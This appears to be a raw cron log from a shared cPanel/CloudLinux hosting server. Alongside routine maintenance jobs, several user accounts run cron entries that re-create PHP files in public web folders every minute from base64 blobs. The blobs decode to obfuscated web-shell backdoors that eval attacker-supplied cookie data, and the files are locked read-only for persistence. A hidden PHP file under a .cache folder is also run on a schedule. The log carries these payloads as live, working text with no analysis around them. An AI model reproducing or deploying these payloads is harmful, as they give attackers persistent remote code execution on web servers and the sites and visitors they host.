Jun  7 03:54:01 medusa CROND[27619]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:54:01 medusa CROND[27620]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:55:01 medusa CROND[29427]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 03:55:01 medusa CROND[29437]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 03:55:02 medusa CROND[29454]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 03:55:02 medusa CROND[29455]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 03:55:02 medusa CROND[29463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 03:55:02 medusa CROND[29464]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 03:55:02 medusa CROND[29465]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 03:55:02 medusa CROND[29472]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 03:55:02 medusa CROND[29476]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 03:55:02 medusa CROND[29470]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 03:55:02 medusa CROND[29478]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:55:02 medusa CROND[29474]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 03:55:02 medusa CROND[29479]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:55:02 medusa CROND[29473]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 03:55:02 medusa CROND[29471]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 03:55:02 medusa CROND[29481]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 03:55:02 medusa CROND[29483]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 03:55:02 medusa CROND[29484]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:55:02 medusa CROND[29477]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Jun  7 03:55:02 medusa CROND[29485]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 03:55:02 medusa CROND[29486]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 03:55:02 medusa CROND[29488]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 03:55:02 medusa CROND[29490]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:56:01 medusa CROND[31170]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 03:56:02 medusa CROND[31179]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 03:56:02 medusa CROND[31210]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:56:02 medusa CROND[31213]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 03:56:02 medusa CROND[31214]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:56:02 medusa CROND[31212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 03:56:02 medusa CROND[31215]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 03:56:02 medusa CROND[31216]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 03:56:02 medusa CROND[31217]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:56:02 medusa CROND[31211]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 03:56:02 medusa CROND[31218]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 03:56:02 medusa CROND[31219]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 03:56:02 medusa CROND[31227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
